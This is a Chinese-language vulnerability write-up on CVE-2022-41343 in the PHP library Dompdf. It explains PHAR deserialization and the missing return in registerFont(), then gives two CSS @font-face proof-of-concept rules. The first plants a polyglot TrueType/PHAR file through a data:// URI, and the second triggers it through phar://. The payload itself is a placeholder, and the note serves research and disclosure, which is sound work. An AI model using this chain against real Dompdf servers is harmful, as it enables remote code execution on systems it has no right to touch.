# CVE-2022-41343
###### tags: `CVE` `Note` `MCL` `poc` `deserialize`
> registerFont in FontMetrics.php in Dompdf before 2.0.1 allows remote file inclusion because a URI validation failure does not halt font registration, as demonstrated by a @font-face rule.
:::info
affact Dompdf (, 2.0.1]
:::
## Abstract
Dompdf is a popular library in PHP used for rendering PDF files from HTML.
## Background
### Serialize(序列化)
將物件轉化為可以儲存與傳輸的格式,Ex: json, string
> php 中的 serialize
> python3 中的 json.dumps 與 pickle.dumps
### Deserialize(反序列化)
將序列化後的資料轉回物件型態
> php 中的 unserialize
> python3 中的 json.loads 與 pickle.loads
但如果資料是可控的,有機會造成在 deserialize 回物件時呼叫 magic function,當 function 與 arguments 都可控的情況下會造成 RCE
* php unserialize magic function
* __toString()
* Invoked when object is converted to a string. (by echo for example)
* __destruct()
* Invoked when an object is deleted. When no reference to the deserialised object instance exists, __destruct() is called.
* __wakeup()
* Invoked when an object is unserialised. automatically called upon object deserialisation.
* __call()
* will be called if the object attempts to call an inexistent function
* ...
* python3 pickle magic function
* \_\_reduce__
### PHAR(PHP Archive)
一種打包格式,是將 php code 與其他資源打包進 PHAR 文件中,當 php 解析此種文件時,會進行反序列化
### Methology
#### CVE-2022-28368
在`DomPdf v1.2.1` `CVE-2022-28368` 曾揭露了一項 RCE 漏洞,成因是`DomPdf` 有個選項是允許使用者使用遠端的字型檔,若是有打開且引用了外部字型檔,會讓字型檔的 cache 留在 server 電腦中,但是他卻沒對字型的安全性做驗證,導致一項任意上傳的漏洞,而檔案會以 `[font_name]_[font_weight]_[md5(src:url)].[ext]` 這樣的形式存在於 `/vendor/dompdf/dompdf/lib/fonts/` 中
[patch](https://github.com/dompdf/dompdf/compare/v1.2.0...v1.2.1)
patch 的方式是檔案尾巴加上`.ttf`

那還是可以任意上傳到 server,那如果我們上傳 `phar://` 類型的檔案是不是就能 RCE ?
#### CVE-2021-3838
可惜在 `CVE-2021-3838` 中就已經先提出過這項問題了
在 `Helpers::getFileContent()` 下載文件之前,會先驗證 protocal 是否在 `$allowedProtocols` 裡面,如果檢查失敗,會記錄一條警告消息,並且 `return` 而不會處理該文件
[code](https://github.com/dompdf/dompdf/blob/79573d8b8a141ec8a17312515de8740eed014fa9/src/Options.php#L529)
```php
public function __construct(array $attributes = null)
{
...
$this->setAllowedProtocols(["file://", "http://", "https://"]);
...
```
#### CVE-2022-41343
但真的檢查下去卻發現,在 `registerFont()` 中卻缺少了錯誤的 return,代表說我們又能使用 `phar://` 了
[`FontMetrics.php`](https://github.com/dompdf/dompdf/blob/v2.0.0/src/FontMetrics.php#L178)
```php
public function registerFont($style, $remoteFile, $context = null)
{
$fontname = mb_strtolower($style["family"]);
$families = $this->getFontFamilies();
...
// Download the remote file
[$protocol] = Helpers::explode_url($remoteFile);
$allowed_protocols = $this->options->getAllowedProtocols();
if (!array_key_exists($protocol, $allowed_protocols)) {
Helpers::record_warnings(E_USER_WARNING, "Permission denied on $remoteFile. The communication protocol is not supported.", __FILE__, __LINE__);
}
foreach ($allowed_protocols[$protocol]["rules"] as $rule) {
[$result, $message] = $rule($remoteFile);
if ($result !== true) {
// warning 卻沒 return
Helpers::record_warnings(E_USER_WARNING, "Error loading $remoteFile: $message", __FILE__, __LINE__);
}
}
// 那我們可以成功將指定 file 餵給 Helpers::getFileContent
list($remoteFileContent, $http_response_header) = @Helpers::getFileContent($remoteFile, $context);
if ($remoteFileContent === null) {
return false;
}
...
```
那我們接下來看 `Helpers::getFileContents()`
我們可以先觸發 `Helpers::encodeURI` 讓檔案存在 server 的 disk 中,再觸發 `file_get_contents` 將檔案 include 進去達成反序列化
[`Help.php`](https://github.com/dompdf/dompdf/blob/66431c58017d5b1bdb9f6f772b9fbbc5e3d38dc2/src/Helpers.php#L897)
```php
public static function getFileContent($uri, $context = null, $offset = 0, $maxlen = null)
{
$content = null;
$headers = null;
[$protocol] = Helpers::explode_url($uri);
$is_local_path = in_array(strtolower($protocol), ["", "file://", "phar://"], true);
$can_use_curl = in_array(strtolower($protocol), ["http://", "https://"], true);
set_error_handler([self::class, 'record_warnings']);
try {
if ($is_local_path || ini_get('allow_url_fopen') || !$can_use_curl) {
// 第一步
if ($is_local_path === false) {
$uri = Helpers::encodeURI($uri);
}
// 第二步
if (isset($maxlen)) {
$result = file_get_contents($uri, false, $context, $offset, $maxlen);
} else {
$result = file_get_contents($uri, false, $context, $offset);
}
if ($result !== false) {
$content = $result;
}
if (isset($http_response_header)) {
$headers = $http_response_header;
}
```
1. 利用 `data://` 上傳
2. 利用 `phar://` 執行反序列化
## Poc
```code
<style>
@font-face {
font-family:'exploit';
src:url('data:text/plain;base64,double_url_encode([BASE64_POLYGLOT_TRUETYPE-PHAR])');
font-weight:'normal';
font-style:'normal';
}
</style>
```
```code
<style>
@font-face {
font-family:'exploit';
src:url('phar://path/to/app/vendor/dompdf/dompdf/lib/fonts/exploit_normal_[md5(data:text/plain;base64,[BASE64_POLYGLOT_TRUETYPE-PHAR])].ttf##');
font-weight:'normal';
font-style:'normal';
}
</style>
```
## Patch
[加上 return false 就好了](https://github.com/dompdf/dompdf/compare/v2.0.0...v2.0.1#diff-a0473fa74c65efedd487f657d52cb196245a84d2b13e622818dd0d7283da6d38)
## Reference
[CVE-2022-41343](https://tantosec.com/blog/cve-2022-41343/)